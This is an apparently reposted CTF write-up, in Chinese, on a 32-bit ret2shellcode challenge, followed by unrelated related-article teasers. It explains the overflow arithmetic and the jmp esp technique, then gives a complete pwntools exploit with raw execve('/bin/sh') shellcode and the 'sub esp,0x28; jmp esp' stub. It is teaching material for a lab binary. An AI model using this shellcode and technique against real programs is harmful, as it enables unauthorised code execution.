【PWN · ret2shellcode | “jmp esp“】[i春秋]ret2shellcode

news2024/11/19 23:23:43

当溢出长度不足时,如何将shellcode放入padding位值,并执行呢?

目录

前言

一、题目重述

​编辑

二、题目分析

1.存在溢出

2.如何跳转

3.payload构想

4.Addr(jmp esp)

5.指令序列 

三、exp 


前言

回顾ret2shellcode发现还有很多基础的技巧没有掌握。本题算是一个经典地、通过jmp esp将栈上的shellcode进行执行的题目。


一、题目重述

二、题目分析

1.存在溢出

但是溢出字节为50-(0x20+4)=14byte,构造合适的ROP链比较困难。但是padding长度有0x24个,所以可以尝试将shellcode写在栈上,当作padding的一部分,然后执行

2.如何跳转

栈地址我们如何得到——或者说,shellcode的地址如何确定,怎么能够ret到该地址执行shellcode呢?

这里就是本次想总结的技巧点:栈信息总是通过esp和ebp来确定。 <jmp esp;>  指令能够将执行流跳转到栈上,准确来说是esp指向的栈的下一条,因为这里是ret到jmp esp的地址,ret指令会弹栈;而jmp指令不会弹栈。 

这就意味着我们还需要对esp的值进行操作,让他指向我们的shellcode起始位置,再控制跳转执行。 

3.payload构想

padding(shellcode+padding)+ Addr(jmp esp) + 【指令序列(esp 指向shellcode;jmp esp)】

4.Addr(jmp esp)

5.指令序列 

到ret时,已经填充了0x20+0x4个字节,同时由于ret又弹出了一个字,这时esp距离shellcode有0x20+0x4+0x4=0x28个字节。因此,指令序列为:

sub esp,0x28; jmp esp;

三、exp 

from pwn import *

context.arch='i386'
context.log_level='debug'

io=process('./pwn')
io.recvuntil(b'name?\n')

# shellcraft.sh()过长,这里利用收集的短shellcode
payload=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
payload+=b'a'*(32+4-len(payload))
payload+=p32(0x08048504)+asm('sub esp,0x28;jmp esp;')

io.sendline(payload)
io.recv()
io.interactive()

总结

通过本例,掌握一个基础而常见的技巧:控制执行流到栈上指定位置开始执行。核心是利用了jmp esp 指令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1059278.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

安装JDK(Java SE Development Kit)超详细教程

文章时间 &#xff1a; 2023-10-04 1. 下载地址 直接去下载地址&#xff1a;https://www.oracle.com/java/technologies/downloads/ &#xff08;需要翻墙&#xff0c;不想翻墙或者不想注册oracel账号的&#xff0c;直接去我的阿里云盘&#xff09; 阿里云盘&#xff1a;http…

2023年【熔化焊接与热切割】考试资料及熔化焊接与热切割复审模拟考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2023年熔化焊接与热切割考试资料为正在备考熔化焊接与热切割操作证的学员准备的理论考试专题&#xff0c;每个月更新的熔化焊接与热切割复审模拟考试祝您顺利通过熔化焊接与热切割考试。 1、【单选题】 湿法水下焊接时…

零基础Linux_11(进程)进程程序替换+实现简单的shell

目录 1. 进程程序替换 1.1 程序替换原理 1.2 execl 接口 1.3 execv execlp execvp 1.4 exec 调各种程序 1.5 execle 接口 2. 实现简单的shell 2.1 打印提示和获取输入 2.2 拆开输入的命令和选项 2.3 创建进程和程序替换执行命令 2.4 内建命令实现路径切换 2.5 my…

【C++进阶(七)】仿函数深度剖析模板进阶讲解

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:C从入门到精通⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习C   &#x1f51d;&#x1f51d; 模板进阶 1. 前言2. 仿函数的概念3. 仿函数的实…

Scala第十六章节

Scala第十六章节 scala总目录 文档资料下载 章节目标 掌握泛型方法, 类, 特质的用法了解泛型上下界相关内容了解协变, 逆变, 非变的用法掌握列表去重排序案例 1. 泛型 泛型的意思是泛指某种具体的数据类型, 在Scala中, 泛型用[数据类型]表示. 在实际开发中, 泛型一般是结合…

计算机网络 第二章物理层

计算机网络第二章知识点速刷 其中重要的是信源和信宿&#xff0c;以及调制解调器在通信模型当中起到的作用。

JavaScript处理点击事件

在介绍点击事件之前&#xff0c;先给它们讲一些概念 事件监听 在JavaScript中&#xff0c;可以使用事件监听&#xff08;Event Listener&#xff09;来响应和处理各种事件。事件监听器是一种能够捕捉特定事件并执行相应代码的机制。事件监听器允许您在特定事件发生时执行自定…

如何在VS2022中进行调试bug,调试的快捷键,debug与release之间有什么区别

什么是bug 在学习编程的过程中&#xff0c;应该都听说过bug吧&#xff0c;那么bug这个词究竟是怎么来的呢&#xff1f; 其实Bug的本意是“虫子”或者“昆虫”&#xff0c;在1947年9月9日&#xff0c;格蕾丝赫柏&#xff0c;一位为美国海军工作的电脑专家&#xff0c;也是最早…

京东数据产品:8月大家电市场增长类目市场数据分析

上期我们已经分析了大家电市场及市场中的头部类目&#xff0c;从大家电的市场数据可知&#xff0c;整个行业大盘及多数细分市场都呈下滑走势。不过&#xff0c;仍有部分偏向精致生活的电器呈上升走势&#xff0c;如洗烘套装、内衣清洗机、衣物护理机等&#xff0c;下面我们一起…

php实战案例记录(13)关键词包含空格的并且搜索条件

要在 PHP 中搜索包含空格的关键词&#xff0c;并使用 MySQL 语句进行查询&#xff0c;你可以使用 MySQL 的 LIKE 运算符和 % 通配符来实现。 MySql拼接语句 $condition ; if (isset($word) && $word ! ) {$keyworksqland ;$wordlist str_replace("", &qu…

【多媒体技术与实践】课堂习题汇总(Chp1~Chp3)

【多媒体技术与实践】课堂习题汇总 第一章&#xff1a;overview of multimedia 国际电信联盟ITU把媒体分为5种类型&#xff0c;其中&#xff0c;【1】是直接用于人的感官&#xff0c;使人能产生感觉的一类媒体&#xff1b;【2】是为了表达、处理和传输而人为构造的一种媒体&am…

kubectl命令举例

为了使读者能够快速掌握kubectl命令的使用方法&#xff0c;下面对常用的命令进行介绍。 1. kubectl create命令 此命令通过文件或者标准输入创建一个资源对象&#xff0c;支持YAML或者JSON格式的配置文件。例如&#xff0c;如果用户创建了一个Nginx的YAML配置文件&#xff0c…

使用CrawlSpider爬取全站数据。

CrawpSpider和Spider的区别 CrawlSpider使用基于规则的方式来定义如何跟踪链接和提取数据。它支持定义规则来自动跟踪链接&#xff0c;并可以根据链接的特征来确定如何爬取和提取数据。CrawlSpider可以对多个页面进行同样的操作&#xff0c;所以可以爬取全站的数据。CrawlSpid…

AtCoder Beginner Contest 233 (A-Ex)

A.根据题意模拟即可 B.根据题意模拟即可 C.直接用map 进行dp即可 D.用前缀和进行模拟&#xff0c;用map统计前缀和&#xff0c;每次计算当前前缀和-k的个数就是以当前点为右端点答案。 E - Σ[k0..10^100]floor(X&#xff0f;10^k) (atcoder.jp) &#xff08;1&#xff09;…

《XSS-Labs》02. Level 11~20

XSS-Labs 索引Level-11题解 Level-12题解 Level-13题解 Level-14题解 Level-15题解 Level-16题解 Level-17题解 Level-18~20题解 靶场部署在 VMware - Win7。 靶场地址&#xff1a;https://github.com/do0dl3/xss-labs 只要手动注入恶意 JavaScript 脚本成功&#xff0c;就可以…

第82步 时间序列建模实战:LightGBM回归建模

基于WIN10的64位系统演示 一、写在前面 这一期&#xff0c;我们介绍LightGBM回归。 同样&#xff0c;这里使用这个数据&#xff1a; 《PLoS One》2015年一篇题目为《Comparison of Two Hybrid Models for Forecasting the Incidence of Hemorrhagic Fever with Renal Syndr…

面试题:Kafka 为什么会丢消息?

文章目录 1、如何知道有消息丢失&#xff1f;2、哪些环节可能丢消息&#xff1f;3、如何确保消息不丢失&#xff1f; 引入 MQ 消息中间件最直接的目的&#xff1a;系统解耦以及流量控制&#xff08;削峰填谷&#xff09; 系统解耦&#xff1a; 上下游系统之间的通信相互依赖&a…

代码随想录算法训练营第五十六天 | 动态规划 part 14 | 1143.最长公共子序列、1035.不相交的线、53. 最大子序和(dp)

目录 1143.最长公共子序列思路代码 1035.不相交的线思路代码 53. 最大子序和&#xff08;dp&#xff09;思路代码 1143.最长公共子序列 Leetcode 思路 本题和718. 最长重复子数组 区别在于这里不要求是连续的了&#xff0c;但要有相对顺序&#xff0c;即&#xff1a;“ace” …

数据结构--队列与循环队列的实现

数据结构–队列的实现 1.队列的定义 比如有一个人叫做张三,这天他要去医院看病,看病时就需要先挂号,由于他来的比较晚,所以他的号码就比较大,来的比较早的号码就比较小,需要到就诊窗口从小号到大依次排队,前面的小号就诊结束之后,才会轮到大号来,小号每就诊完毕就销毁,每新来…

22.app.js的全局数据共享

app.js中定义的全局变量适合 不修改且仅在js中使用的变量 目录 1 全局变量 2 修改全局变量 3 app.js中的变量不能直接在wxml中渲染 4 全局方法 1 全局变量 比如我现在想定义一个全局的变量something&#xff0c;直接在APP中写就行了 之后你可以在任何一个页面中&…